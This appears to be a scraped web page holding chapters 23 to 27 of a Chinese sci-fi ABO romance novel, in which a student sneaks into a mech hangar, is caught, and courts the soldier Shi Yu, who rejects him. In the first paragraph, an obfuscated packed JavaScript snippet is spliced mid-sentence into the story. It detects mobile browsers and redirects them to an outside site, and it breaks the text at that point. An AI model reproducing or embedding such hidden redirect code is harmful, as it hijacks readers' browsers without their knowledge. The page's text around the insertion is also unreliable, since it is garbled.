江鹤吟捂着脸低下头,良久才闷闷地露出半张脸,面色一片晕红,这礼物未免太贵重。 “她要把这个要回去了……”他眼睛看向洛恩,“……不能等我病好,我们今晚就得去。” —— 盘算一下午的逃跑路径换了一条,目的地也从自己的宿舍换成机甲训练区的仓库。 他随着洛恩沿管道的维修梯小心翼翼向下爬,第八军部的建筑中还用着这种老旧的夹层管道区,周围没有监控,调控设备的监管阀只监测管道内部的情况,因此行动绝对隐秘——电影说的,这里算逃脱系电影的大热路径。 经典路径也没有几个,他来八星这一趟就走了俩,很有意思,身体中的兴奋多过无防护上下爬梯的恐惧。 被发现会不会牵连到时与?不知道,或许会,但他并不担心这个,反正他最后是能将人带走的,一点小小的处罚无伤大雅。 说起来他和时与第一次见面还是在一辆破旧的垃圾车,这已经是经典场景之一,那么如果在夹层管道区——经典场景之二再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600249|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇到麻烦就可以顺便袒露自己的真实身份,这颇有戏剧感,他甚至还有点期待。 洛恩对他招招手,身体灵活转到一旁小小的弯道,江鹤吟跟过去,脚下踩实,透过前方管道的缝隙竟见到有一抹亮光。 他一步一步紧跟洛恩又向前走,眼前景象逐渐开阔,两人又在这密密麻麻的管道之间转了很短的时间,他很快见到一条巨大的裂缝通向外面,视野豁然开朗,从那里有清凉的风灌进来。 他上前,透过缝隙向下看,一时恍若见到战争预演。数不清的机甲整齐排列在下方的空场,它们型号不一、涂装各异,分不清里面是否有士兵等待,他有些呆愣,冰冷的肃杀气从中透露出来,洛恩拍拍江鹤吟的肩膀,手指指向不远处红黑相间的一部:“是那个。” 他说:“你小心,我先下去接住你。” 两人在墙上捣鼓一阵,江鹤吟从上跳下来时撞到洛恩,空旷的厅内发出“嘣”一声响,所幸他比较瘦,体重也轻,两人只是摔倒但都没受伤,也算平安落地。 洛恩松一口气:“还好还好。” 江鹤吟被他拉住手腕向时与的机甲那边去,轻轻“唔”了一声,拿出一直带在身上的“钥匙”,谁也没注意到头顶监视器因为方才的声音缓缓转动,几个探头聚焦在他们头顶。 他们缓缓向那架黑红的机甲走过去,江鹤吟没见过这个样式,他记得自己姐姐的要更大一些,问洛恩:“那是什么型号的?” 洛恩摇头,他能接触的种类有限,只认识一些更广泛更大众的型号:“不知道,但这个体型应该是轻甲或者高精类……我猜是轻甲,高精不应该放在这里,那都是军区的机密情报。” 江鹤吟歪头想想,那他姐姐的很贵重,应该是高精类……不知道有什么区别。 机甲林立周围,头部遮盖紫外线的薄罩像一双双深邃黑沉的眼睛,偌大仓库中只有两人活动的声音,脚步声回荡,略微有些瘆人,他们先绕着机甲转了两圈,发现背板是半开的,露出里边的零部件,看不明白有什么作用,不过颜色很漂亮,是白色泛点金。 江鹤吟疑惑:“这个是坏了吗,为什么打开?” “不知道,有可能,”洛恩也往里边看,“上次时与带一个omega来开的,好像也在说什么零件……” 江鹤吟:“什么omega?” “呃……”洛恩说,“一个金色头发的。” 江鹤吟又不高兴,他想起时与身边那个眼睛如同碧蓝海洋的青年,时与未免太心大,她怎么能允许一个omega随便动自己的机甲呢?这太不好了,她要更注意一些。 “鹤吟……鹤吟!”洛恩在旁边叫他。 他如梦初醒,扭头看向洛恩。 “钥匙,钥匙。”洛恩说,“我们打开它上去看看吧?” 江鹤吟说:“好啊。” 两人这时一个比一个胆大,他们摸摸索索让启动器与机甲匹配,沉寂的机甲好像活过来,关节间闪出能源石莹亮的光。 这般启动的场景生平仅见,江鹤吟与洛恩皆屏息凝神,唯有远处时与骂了一声,穿上外套匆忙出门,门合上发出“砰”一声巨响。 23. 第 23 章 机甲启动,两人反而定住不知该做什么,洛恩勉强了解些,先在背后研究了一番终于合起背板,然后又上手企图打开机甲的驾驶位。 机甲该直接与驾驶者脑波匹配,无论启动还是闭合皆是如臂使指,但操控机甲并不只有一种方式,为了改造或维修都会为机械师留下手动的开关,为防意外,各类应急开关也有,一般设置在内侧由驾驶员启用。 洛恩四处找寻一番,果然在机甲左心处碰到一个突兀的钮。 外甲顺滑敞开,江鹤吟非常给面子地鼓掌赞叹,洛恩兴奋得面上泛红,一头卷毛微微颤动。 “进去看看吧?”洛恩手轻轻扶住机甲的外舱,对着里面探头探脑,他如今属于没吃过猪肉只远远见过猪跑,但如果真给他一头猪——一部机甲,真给他一部机甲摆在面前,他虽兴奋却也不知道该从哪开始摆弄。 江鹤吟也不太敢:“会不会有点危险……你小心,别碰到什么东西。” “嗯嗯,”洛恩听他的话,连手都放开,探头进去看里面驾驶室的模样,“好像什么都没有……鹤吟,你扶我一下。” 江鹤吟拉住他的手,好奇心能显著激发胆量,洛恩跨过前槛小心踩进驾驶室,而后小心翼翼伸出双臂,对江鹤吟比量:“里面好像能装两个人……” 驾驶室中并不昏暗,能源石一颗一颗镶嵌在机体之中,像昂贵的照明设施,发出的光柔和又明亮。 倒确实难看到能用能源石做照明的情况,但还不待他将江鹤吟拉上来一起看看这排灯,忽然脑内警铃一震,觉得有些不妙。 能源石是当今通用的能量压缩储存的装置,民用的重型机械用一枚,普通机甲两枚就足以驱动,重型机甲6枚以上,皆是按需更换,其中轻机甲只要一到两枚,但目前单就他看到的……一、二、三……光驾驶室中就足有四颗嵌入! 这是高精级,所有星区的军部都捂得严实的机密级别! 坏了,不是说只有半退役的旧型号机甲留在这里吗。 他突然汗流浃背,耳朵里“嗡”一下开始鸣响。 这不是低保密度……被发现不是记过检讨,绝对要进军事法庭! “鹤吟……你等一下,你拉我一下,”他舔舔嘴唇,手臂上竖起寒毛,“我们……我们还是走吧。” “哎?”江鹤吟疑惑,“怎么了,我也想去里面,你等我看一下再走好不好。” 两个人看了岂不是一起完蛋,洛恩不敢让他也上来,见他迈步,情急之下先伸手撑住外甲。 手刚撑住内框,空旷的仓库中忽有警示红灯交替闪烁,警铃大震,江鹤吟被吓了一跳,洛恩更是直接僵住。 仓库正门忽然开启,一架架保安机器从各处如潮水一般从中涌入,每一台都是加载完备的状态,警示灯如同一双双眼睛亮起。 江鹤吟自认有恃无恐,但见这幅情景还是有些害怕,他向上看,与洛恩对视,两人眼里皆有慌乱闪过。 保安机器后也有安保员紧随携武器入内,皆是荷枪实弹,他们以这架黑红色的机甲为圆心呼啦啦围上来,枪口全部对准洛恩与江鹤吟。他们训练有素,动作整齐划一,一个保密度低的机甲仓库被他们这番防备,不知道的还以为他们这是闯进了指挥官的办公区。 包围形成,一人在最后踱步向前,他衣着齐整,没与众人一同站在远处,而是漫不经心走向包围圈中央,偌大仓库中只剩他皮靴落地的声音回响。 拜森居高临下看着二人,深灰色眼睛在他们之间转动,最后着重盯住江鹤吟的面庞。 江鹤吟当然也记得他,见对方看过来心中虽怕,但眼睛眨都不眨,甚至压着眉头色厉内荏地往回瞪。拜森不以为意,鼻腔里泄出一声嘲弄的轻哼,语气很轻蔑,懒得开口似的,只抬半张嘴皮说话:“二十三区机甲仓库,有两人擅闯。” 他转身,对周围安保人员打了个手势,顿时便见他们训练有素地随着保安机器迅速缩小包围,一时仓库中只有整齐的脚步落地声与履带声。 他说:“带走羁押。” 江鹤吟不自觉后退,背抵上机甲冰冷的金属外壳,洛恩手心冒出冷汗,众位安保员迅速向前。 “稀奇,你什么时候来管仓库了?” 时与人未到声先至,她扬声,室内修普诺斯的机甲舱忽然闭合。洛恩发出一声惊呼,舱门关闭,呼声随即消失,江鹤吟也捂住嘴巴轻叫一声,机甲启动好似猛兽在侧喘息。 他面前忽然生成一片蜂窝般排列有序的浅白色光罩,是安保员中有人下意识开枪,子弹打在光幕上只留下一圈圈涟漪,他不敢动,被挟持住似的站在原地。 时与从外面大步迈入,周围人动作从她进来便停止,在她经过时自动分开一条来路。 “是啊,在仓库里抓住两只小老鼠,”拜森看着她,意有所指道,“抓回去问问,谁知道还有没有更大的藏在后面?” 时与:“呦,狗拿耗子。” 拜森:“不劳费心。” 他指指后方已启动的机甲,对众人又做一个手势,眼睛依旧看着时与:“有人擅闯训练营的机甲仓窃取机密,我现在需要将他们缉捕,你最好不要妨碍我执勤。” 时与眼睛直接瞥向江鹤吟,江鹤吟原本也正往这边看,时与的出现忽然令他颇有底气,周围都是枪口也不怕了,他一手扶着机甲,神情显然放松下来,要博取关注似的对她眨眼。时与微笑,他一激灵,立刻瘪着嘴心虚地移开视线。 拜森说得倒是严重,但明眼人都看得出来这不是窃取机密的样子,谁家机密往这些报废机甲上窃取,但偏偏这次确实是他们违规在先,并不占理。时与心中窝火,这两个混蛋东西简直胆大包天,如果这次来的不是拜森,就真该让他们被抓起来关两天。 洛恩在驾驶舱里不敢乱动,机甲启动起来但并非驾驶模式,他的身体没有支撑,像进了个小棺材似的被包裹其中,只能一阵心慌地透过光屏看外面的情况。 时与没回应,这还是她第一次在“要不要给拜森一拳”这个问题上 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“你应该还记得你隶属于第八星军部,”拜森说,“这么维护他们,可别是已经找好了退路……” “好,当然,”时与说,“我找好了退路,现在要揍死你。” 她解开袖扣,手指熟练将袖口翻上去,拜森脚步立刻后撤。江鹤吟向这边偷看,见势不妙立刻插嘴高喊:“等等!我们已经申请了!我的通过了,洛恩的还在审核。” ? 两人的视线一并看向他,江鹤吟虽这么说,但实际也没底,他左右看看缩起脑袋,时与手指向他:“你过来。” 安保员分开一条路。 江鹤吟迅速从中跑过来站到时与身边,半个身子躲在她身后和拜森瞪眼,他手指抓住时与的衣摆,又被抽出来。 时与不耐烦:“去门禁刷卡。” 江鹤吟:“啊…现在吗?” 他乱说的。 ID卡被开了权限,但不知道能不能绕过八星的保密管理……或许低级是可以的,但这个架势好大,他不太确定。 “让你去你就去。”时与抓住他的后衣领将他拎出来,态度很粗鲁,就差踹他一脚让他赶紧滚,她的手指蹭到江鹤吟的后颈,引得他难受地缩脖子。 拜森鼻腔里发出一声不屑的哼,江鹤吟只好深吸气祈祷,他磨磨蹭蹭走上前,ID卡划过门禁。 没触发警报,门禁处闪烁出绿色的光,光屏显示通过,闪出他的身份信息,通道自动打开,他松口气,站在门口眼巴巴看时与。 时与抱臂看拜森:“看到了?” “二星的学生能以什么理由申请进入机甲仓,”他眸光阴沉,显然并不愿意放过几人,“我会查证。” 时与偏头招江鹤吟过来:“他们陪我去阿斯克勒执勤,有意见?” “另一人没有进入权限。” “随便,”时与看起来心情很差,“你爱记什么违规记什么违规,我要带他们走。” 25-30 第25章 第 25 章 放恋爱脑独自冷静只会令…… 江鹤吟的脚步都是飘的。 beta们的排屋十一点钟门禁,而此时显然已经过了晚归的最后时间——所幸他还有一个能让他安然入睡的病房,双人间,他和洛恩刚好可以一人一张床。 打开门时洛恩也还没睡,正坐在窗边的床上等他,见他失魂落魄的进来很紧张地迎上去,扶住江鹤吟的肩膀:“鹤吟,你怎么……你还好吗?” 江鹤吟“嗯”了一声,他面色潮红,发丝有些凌乱,声音很小,直接将洛恩推开,对他道:“……我想睡这边,可以吗?” 他这话更像通知,说完也没理会洛恩的答复,洛恩从床上下来,他就直接一骨碌钻进被子里,时与以前也睡在这,没事情做的时候就一天到晚窝在同一个地方,但现在这里很干净,只有淡淡的消毒水味残留在周围,都不如他自己身上的味道重。 脑子成了一团浆糊,他藏在被子里蒙起头听自己的心跳,咚咚,咚咚,他不知道自己对时与是什么样的感情:仰慕、喜爱、依赖……但这是否只是在八星产生的吊桥效应,她对自己又是什么看法? 他没考虑过“时与会拒绝”这项可能,家世显赫、长相出众,虽然性格可能不太可爱,但omega的人生单凭前两点就已经能过得一帆风顺,甚至可以说——在来第八星之前,除了母亲和姐姐特地安排的事,他的人生几乎心想事成。 洛恩有些无措,看着他把自己卷成一个卷,虽然不知道发生了什么,但还是伸出手去轻轻给他拍背安慰,江鹤吟没反应,于是洛恩拍了会儿也就停下,却不想刚停下手江鹤吟就“呼”一下坐起来,他眼圈微红,头发乱蓬蓬的,坐在床沿找自己的鞋子。 洛恩又被他吓一跳,他问:“怎么了?” “没事。”江鹤吟说,他呼吸还有些急促,双手撑着床沿,“我……我去写检讨。” 他要整理一下脑袋里这些浆糊。 这几天睡得实在不好,他是真正意义上的身心俱疲,眼底泛青,嘴唇也没有血色,憔悴得仿佛真的大病一场,绸缎般的长发被他绕在手指上缠缠卷卷,绕得很毛糙。 他的脑机尚且带着人为的故障,于是此时只能离开病房去走廊里的休息室整理自己的思绪。 夜间的第八军部并不安静,但住院部周围倒是万籁俱寂,考虑到病人的休息,连塔楼都很少有光影射向这里。他没让洛恩陪着一起,跑进来将房门锁上,打开房间的灯,太亮,于是又挠头烦躁地重新把灯关上,自己藏在黑暗里。 用以监管病房的设备开着,他踱步过来,躲在这片唯一的亮光下发呆,好的,他做错了事情,应该道歉,应该检讨,但是检讨要写什么?他也不太清楚,于是调出先前时与给他生成的那一份参考。 时与那份文件的内容乱七八糟,说话颠三倒四,前后言语不搭,1.5倍的行距空白处仿佛横七竖八写满了“放过我我不识字”,敷衍的、文盲的气息扑面而来,让人看一眼就觉得她的当务之急不是改正错误而是提升学历。 写这种检讨模板的人想看什么东西? 江鹤吟翻着翻着突然“噗嗤”一声笑了,他将头枕到自己的小臂上,盯着桌上的纹路发愣。 她怎么这样。 时与环绕着他的身体,与他待在一个温暖狭小的驾驶舱里,身上的味道好像能把他的衣服都浸透。她像树苔,在不起眼的地方一长一大片,没有什么攻击性地四处蔓延,但等江鹤吟回过神来已经满心都是她的影子。 他方才在考虑什么?时与今晚那话显然不对,他又不是因为叛逆想反抗什么东西才要找她,她本身就是个值得依靠值得爱慕的人。 以前追求自己的alpha们是什么样的?仔细想想,家世、财富、地位……每个都比时与厉害一万倍,但这些他也有,而且他有的已经足够多足够好,没那么想要通过婚姻更进一步,如果为了这些东西去选个alpha结婚那才是自己钻进牢笼。 他和时与在一起很自在。 婚姻……他可以向时与要求婚姻吗?她问自己提出的条件要如何保证,那这岂不就是最好的方式?他做时与的omega,此后身上每天沾满她的信息素,他们结婚,然后生一个两个三个孩子,时与又有趣又有原则,对现在这个弟弟很好,连之前那些血脉相异的弟弟妹妹都愿意帮助……她会是非常好的母亲,甚至如果有自己的背景,时与的事业也能更上一层。 他的脸热腾腾,花半分钟让原本预定的私人助理升职成爱人,在心里问自己能不能接受,得出的结论是当然可以,他很愿意。 有点后悔今晚的表现了,时与要求自己亲吻她,真可恶,她的嘴巴是什么样的?好像也有点白,没血色,但肯定也是软的,估计很好亲。 手指轻轻压上后颈的腺体,他喉咙里挤出一声小小的哀鸣,身体软下来,修剪得宜的指甲一下一下刮蹭抑制贴的边缘。时与会标记他吗?应该会吧,她不像是讨厌自己,哪有alpha会拒绝omega求欢,他的体温又在升高,迷迷糊糊中想明天应该回去换新的内衣。 —— 时与的邮箱里收到三封新鲜的邮件,洛恩一份,江鹤吟的则分了两份发送过来。 高材生写检讨都文质彬彬,她半躺在沙发上先打开洛恩的邮件看,这东西像个学术报告似的,先定性承认自己的过错,又将事件过程罗列得调理清晰,找原因想后果表决心……他好像真赶出来两万多字,时与只看到五分之一就觉得眼花,向下瞥了一眼编辑记录和统计数据,直接决定放过他,给他加了个“已阅”的标签以作回应。 好像让他们写得太多了,这下有点折磨自己……时与头疼地捂脸,又打开江鹤吟的那份。 这份文件与上一份检讨的水平可谓天上地下,甚至映入眼帘的文字处处透露着熟悉——这混账东西发过来的是她先前乱改的应付姜澜的那份AI文件,不像误触,因为他将其中的罪名条目都查找替换了一遍,简直胆大包天,让人心头起火。 她深吸气,然后又觉得好笑,心想这个小混蛋看着胆小可怜,实际竟然敢发这种东西来挑衅,还挺有脾气。 她又打开第二份邮件,预备这次迎接他正式的检讨和致歉,但可惜没有,里头只有一张图片,而且又是个出自她手的东西,是以前留在纸条上的一个挤眼吐舌的鬼脸。 早忘了为什么画这个,好像当初是想嘲笑他一下,这下嘲讽之意倒是精准回旋扎到她自己。 有种。 她咋舌,打开通讯录想给他发个大拇指,点进去找了一圈才突然想起来自己收回了机甲启动器,现在甚至没有能联系他的方式。 麻烦啊。 原本想让他过来一趟,但想想还是算了,她披上外套向外走,给江鹤吟回邮件让他在病房等自己,江鹤吟那边很奇怪,几乎是守着邮件秒回,高兴道:“好的!” 也不知道有什么高兴。 时与到住院部已经是半晌,工作时间,洛恩已经走了,病房里只剩下江鹤吟一个人,他果真坐在床上老老实实等着时与大驾,角度好像精心设计过,外面的阳光撒到他身上,照的他像个完美的玩具娃娃。 他今天格外好看,睫毛卷翘,皮肤白里透红,显得很有血气,一头长发格外精心地扎起,见她推门进来立刻露出一个笑脸,淡红的嘴唇里露出几颗瓷白的牙齿,相当可爱。 时与:…… 时与莫名觉得这不对劲。 好像什么都没发生一样,江鹤吟高高兴兴蹦过来拉住她的手指:“时与!” “时与——”他的手有点凉,慢慢握住时与整只手摇晃,很久以前、时夏还小的时候也会这样拉着她的手撒娇。 这办法很管用,虽然时与还是皱眉抽出手,但心中那一点小小的恼火立刻消散,她一只手捏住江鹤吟的脸颊往外扯:“你的检讨呢?” 江鹤吟被扯得“呜呜”叫,他握住时与的手腕:“呜、我化妆了,别捏……别捏……” 时与:…… 时与:“你认真点可以吗?我是来跟你讨论化妆的吗?” “我道歉了,我知道错了,而且我还要解决你的问题,我不检讨。” 时与服了,她放开手:“你解决……你真是我大哥。” 江鹤吟揉了揉脸,假装听不到她的抱怨,又重新握住她的手,身体凑的离她很近:“你昨天说……你要带我去哪里执勤啊?” 时与:“……我说三二一,你停止做梦。” 江鹤吟:“你说了!” “别跟我扯这些没用的,”时与一根手指抵住他的肩膀将他向后推,“我来只是为了你的检讨,你最好现在开始写,今天交不出来我就给你的档案记过。” 江鹤吟不满鼓嘴。 第26章 第 26 章 遇到情感问题我建议赶紧…… 特战部在第八星地位比较特殊,颇有些超出三界外不在五行中的意思,其中人员都是些个人风格突出、精神体离谱,偏偏作战技术成熟的奇葩刺头。他们并不参与日常的训练,只在虫潮来袭时冲锋在前,死亡率和战斗力一样高,普通的违纪或处罚并不被他们放在眼里,平日有些缺乏管束。 从一群不停闯祸的混蛋里面挑出个稍微正常点的人类已经有点困难,如果这朵精神状态正常的奇葩还能力压群芳,那就实在是非常难能可贵——时与正是这样一个人,她是一张连接起所有队员的网,直接拉高了整个特战部的含金量,本身的价值比她偶尔惹出来的麻烦大得多,因此拜森上报的那些事对她而言原本就不痛不痒,生气就只是纯生气,哪里需要江鹤吟给她解决什么困难。 这次作战的假期只有三十天,不算短也不算长,执勤是真的,假期结束后她就要去阿斯克勒。 她看着江鹤吟凑过来,不知道这一晚上他的脑袋瓜里都想了什么,但昨天对拜森说得那套借口完全是为了给两个学生脱罪随口一提,肯定不会带两人出去。 阿斯克勒是环绕第八星的卫星之一,与第三星那个著名的学校同名,意思是医药之神,民间也有人习惯叫它月亮二号,这是一个有点浪漫的、从古人类时期就传承下来的称谓。它的运行很稳定,是第八星星外交通的一大枢纽,可惜环境恶劣,上边荒无人烟,基础设施比第八星这颗联邦最末的近荒星都要差劲不少,驻扎在上主要是为了管控星外交通和监控未来的虫潮。 她之前去过那里几回,很没意思,普通的工作不需要他们来进行,于是只能天天套在机甲里一边看别人干活一边和苏鸿玩联机游戏,脑子都快打麻了才回来,回来就发现时夏已经开始和苏鸿谈恋爱。 帮战友照顾远行的家人结果照顾出爱的火花,世界上哪里有这种混蛋,时与一想又来气。 ——说来说去,总之那是个超级差劲的地方。 江鹤吟依然在贴着她撒娇,似乎不止是扎了头发化了妆,他身上还有非常浅淡的模拟信息素的味道,像什么花的香味,比时夏上次买的那个要好闻不少。 这东西在beta之间很流行? 她附身轻嗅一下他的脸颊,飘远的思绪暂时被拉回,问道:“这是什么花?” 她凑近,江鹤吟还是下意识往旁边躲闪,半边脸落在光下,阳光一照,时与能看到他脸上微小的绒毛。 时与在看他。 江鹤吟抿起嘴巴,脸上红晕再深一层,对她眨眨眼睛:“橙花。” 时与说:“哦。” 橙花是啥。 她又低下头闻了一下,依然没闻明白,心想橙花是什么花,橙子树开的?结橙子吗?还挺香,花竟然比果子好闻,真够奇怪。 江鹤吟这次不动了,老实站在原地任由她靠近,见时机差不多,飞快偏过头对她脸颊轻啄一下,时与一下愣住,他就又向前挪了一点,双手搭上她的肩膀:“你喜欢吗……我好喜欢你,你是不是也喜欢我啊?” 他没将自己的抑制贴取下来,只是从强效版换成了普通款式,一点点信息素从其中逸散出来,味道清淡却相当勾人。 江鹤吟眼睛弯弯,明亮的好像月牙,他稍微踮起脚,鼻子蹭到时与耳后去,鼻尖触碰到耳垂,呼吸落在她的颈上,引得她竖了一脖子鸡皮。 被亲吻的地方仿佛还残留了触感,时与没想到他会来这一出,大脑与宕机只有一步之差。?? 昨天她是拒绝了吧? 成年人都知道点到即止,但江鹤吟根本不按常理出牌。他年纪还小,目前一帆风顺的人生里只会遇到三种事:一种被明令禁止、一种能轻易得到、一种则需要他撒撒娇。 江鹤吟认为这次是第三种。 他说话黏黏糊糊,声音很小:“你昨天说要带我去哪儿啊——” 时与一把抓过他的头发向后扯,表情着实难以言喻。 她说:“带你去看看脑子。” —— 上次的虫潮已经过去了将近半月,第八星位于联邦的前线,虫潮本就频繁,因而对这种事很习惯,这次的规模不大,人们像机器中的齿轮各司其职,一切步骤进行的有条不紊。 民用飞行器预计在这周恢复通行,一架外围涂着军部迷彩的民用航空艇徘徊在远轨道,里面几人听闻这个消息几乎要喜极而泣。 一人问道:“具体呢,具体还有多久?” “最多三五天,”另一人回应,“只要等阿斯克勒开放,他们在检查那里是否还有虫族藏匿以及是否还有卵残留。” 那人说:“明白了,小少爷那边怎么样?” “还没有消息,主家说他平安,要我们找到人就立刻带回去。” 家里的少爷柔弱美丽,即使要强行将人带回来也并不是麻烦的差事,虽然暂时无法联系到带队的老师,但学生们确定在第八军部停留,去向已定,想来也就是医疗部能让他们进行所谓的“志愿活动”,到时候去联系医疗部的长官应当很容易。 江鹤吟被时与拉着,浑身上下只有两只脚作刹车状接触地面,很无望地扑腾,像是要被拉到绝育路上的猫狗。 “你放……你放开!”他也向后拉扯时与,可惜力气太小,浑身绷紧了也没办法让时与那边速度稍慢一点,“不要动我……好疼!” “好疼!好疼、呜……” 他叫得很夸张,拖着脚向后磨,又拼命去挣她的手,时与烦的“啧”一声,回过头刚要骂他,就见他两手手腕真被她攥起一圈红痕。 她把江鹤吟甩开,江鹤吟立刻原地蹲下缩成一团,捂着手腕哭。 时与:“我不明白,你这样有什么好闹的?” “喂。” 她蹲下,手搭在膝盖上,歪头去看他的脸。江鹤吟很爱哭,从他们见的第一面到今天,每次都是一不小心就要掉眼泪,但这次哭得尤为梨花带雨,狗见了都要怜惜他一下。 时与色厉内荏地叫几声,被他这样子搞得非常理亏,只好尽量放轻语气,心中却又觉得这时候再反复横跳去安慰他会很不合时宜,只好叹气道:“少爷,再哭妆花了。” 江鹤吟抽泣,擦擦眼睛:“……防水的。” 他一手轻轻拉住时与的袖口,时与还从没遇见过这种事,本想起来,这下却只好不动了,反正这里少有人来,她就直接盘膝坐下,重新和江鹤吟讲道理:“我们不合适。” 江鹤吟说:“我喜欢你,合适。” 时与:“……嘘嘘嘘,我已经能想象到你以后午夜梦回躺在五百平米的大床上,想起这一段就尴尬到一夜无眠的场景了。” 江鹤吟:“不会,我喜欢你。” 时与:“哎呀!” 她挠头,被这鬼打墙一样的对话绕得难受。 江鹤吟抽抽鼻子:“我们不合适的话,你和谁合适,那个蓝眼睛?你还让她碰你的机甲,你喜欢她?” “什么蓝眼睛……你说米尔加奈?”时与只觉得离谱,“呃我和她绝无可能,说实话我和所有人都不行,没骗你。” 江鹤吟:“可是我喜欢你。” 时与:“我不喜欢你。” 江鹤吟闭起嘴巴。 时与摊手,立刻转变话题:“好啦,我不把你们两个的错误上报,所以你不用担心你的档案,不过洛恩的检讨已经交了,你需要重新补给我一份,听明白了吗?” “我过几……嗯,很快就走,然后你该做什么做什么,有事情就去找你们的主任,不许一个人乱来。” “喂?”她伸手在江鹤吟眼前晃,“在听吗?” 江鹤吟眼神空洞洞,委屈地咬着嘴巴,又开始掉眼泪:“为什么不喜欢我?” 时与:“天呐我说话是静音是吗?” “因为我太任性了吗?”他抬起脸,嘴唇微颤,“alpha喜欢更听话更柔顺的伴侣……” 家里人对他很好,但他的爸爸常这样语重心长地叮嘱他,在他一连拒绝许多alpha的邀约后,母亲也会跟着摇头,让他不要太任性,这会让alpha很难做。 omega应该喜欢插花、音乐、跳舞、八卦,喜欢闪耀的宝石和昂贵的首饰……他一个都不喜欢,实际他也根本不知道自己喜欢什么,他很麻烦。 易感期的情绪起伏就是这样大起大落,他忽然坐在原地流泪,哭得真情实感。 时与心想我的苍天,你这点叛逆程度比不上特战部任何一人一根手指头,真希望那群王八蛋知道你的事迹之后排着队过来跟我以死谢罪。 简直不敢想二星这群人得听话成什么样……但凡换个理由她就顺坡下了,但看江鹤吟这个样子她点点头估计要哭死,谁敢在这时候欺负人。 “江鹤吟,”时与把他的头发别到耳后,强制掰正他的脑袋让他看着自己,“不是你的问题,你特别好,你是二星聪明的小少爷,前途一片光明,值得所有人喜欢。” “那你……” 时与扶着她的脸,尽量让语气更诚恳些:“我是连第八星都瞧不起的贱民,江鹤吟,精神体的异变会影响我,你很完美,但我是残次品,我和任何人都没有可能建立亲密关系。” 第27章 第 27 章 她逃他追不用插翅随便飞…… 时与想,幸亏自己当初没有嘴快去要江鹤吟的通讯方式,不然真是摆脱不掉。 江鹤吟的眼睛像天空中最美丽的月亮,被这双美眸含泪看着,所向披靡的时女士终于在发表一通演说后落荒而逃。她当然不像表面一样冷静,毕竟江鹤吟这样的家伙任谁碰见都会受不了。 ……而且是非常受不了。 她双手捧住脸,被他吻过的地方还保留着柔软的触感,江鹤吟正亲在她的嘴角上,那里肿了似的火辣辣发烫,听感觉起来很熟悉,但又不同于以前受伤,奇妙的感受牵动心绪,闭上眼睛都是他方才的模样。 青年漂亮的容貌与萦绕周身的信息素互相匹配,卷翘的睫毛颤动,香的好像快融化的甜品,让人——垂涎欲滴、很有食欲。 这样是不行的,时与嘴里车轱辘似的低声骂出一串脏话,手指轮流揉按起自己的太阳穴,尽力将江鹤吟的影子赶出脑海,但那一抹淡淡的橙花香气还一直停留在鼻尖挥之不去。 该死!这种模拟信息素能不能列进管控药品! 必须找点事情做,她深呼吸,回去时好像碰见几个人同她打招呼,她只匆匆回应两句,alpha们飘的味道令她作呕,空空的胃袋翻腾,什么都好,什么都无所谓,她觉得自己应该去吃点东西。 江鹤吟…… 她忽然感到熟悉的头疼,开始寻根逐源地反思自己的行为:或许从头开始,第一次碰见他就不该带他走……不对,这个不行,还是从中间开始,要怪自己没有分寸,这么大一个人还去逗小孩玩,分明知道这家伙袋有问题,还来来回回带出去好几回。 瞧他当时的样子,时与后悔地握拳砸自己脑袋。她给飞鸟打开了笼子,给他看了天有多高,却没告诉他外面有危险,这是她的错,不怪他总对着外面、对着自己惦记。 她与时夏两人申请的宿舍不小,除去各自的卧室,时夏的东西摆在外头占了大半,她就只额外装了一个冷冻仓,新鲜的食品在里面排列整齐。 她望着这些东西砸砸嘴,突然想吃点甜的,上次的甜甜圈确实很美味,但是可惜买的那一整袋都已经倒在路旁,便宜了几只路过的小老鼠——不知道老鼠们怎么样,他们和江鹤吟是太阳底下不同命运的小孩,没有意外的话本该一辈子都见不到对方的面。 江鹤吟江鹤吟江鹤吟……再怎么转移注意脑子也都要转回他身上去,这状态不对劲,像个大弱智。 她从没如此失态过,只是被亲了一下吧?而且还是个beta——用了点omega的信息素而已,总不能是因为自己清心寡欲的时间太长身体太饥渴,这未免太变态太畜生了点。 苍天,她以前怎么没发现自己是这种人。 好该死,脑机中又有消息在闪,是指挥部发来的,她打开冷冻仓,也不看手里是什么,抓起来就往嘴巴里塞,一边吃一边展开信息,发现刚才发来的是安排她去阿斯克勒的事宜以及这次的随行人员名单。 特战部是执勤的第二班,离他们出发还有接近两周的时间,仿佛是吃过东西后临时升高的血糖帮她驱逐了过激的反应,她头脑逐渐冷静下来,给指挥部发送回复。 她说:[其余人依照计划进行,我参与明天的行动安排。] 好丢人,她想。 第一次这么想躲一个人,甚至要提前结束假期躲到别的星球去。 好丢人。 —— 时与说的话很诚恳,真情流露、不似作假。 江鹤吟在时与的事上做了不止三次心理建设,一次比一次想要的更多,然后换来了接连三次拒绝,一次比一次更坚决。 他像个没教养的小孩独自坐在地上,手指还是冰凉的,目无焦距望着时与离开的方向,但这次倒没有觉得太难过,因为他忽然知道他的目的有办法达成。 时与刚才那些话说得斩钉截铁,仿佛没有任何回旋余地,然而AO在一起其实和畜生差距不大,信息素可要比嘴巴诚实得多,他能嗅到时与最后那丝情动的味道,是控制不住,还是至今仍然觉得他是beta所以不用防范?无所谓,哪种说法都好,总之这都足以证明他们的匹配度非常高。 他伸手去摸自己的颈后,抑制贴还贴在发热的腺体上,会为对方动心的人不止他一个,这可真好,他怎么会这么笨,他是omega,他早该想到用这种方法才对。 有人天性爱冒险爱赌博,时与当初告诉他出师不利是老天保佑,能免得他以后成为赌棍流落街头,他当时就觉得不对,那个小小的粘土筹码如今还和诸多小玩意一起放在他的手包里,他上次去找时与那位弟弟时还特地把这东西取回来。 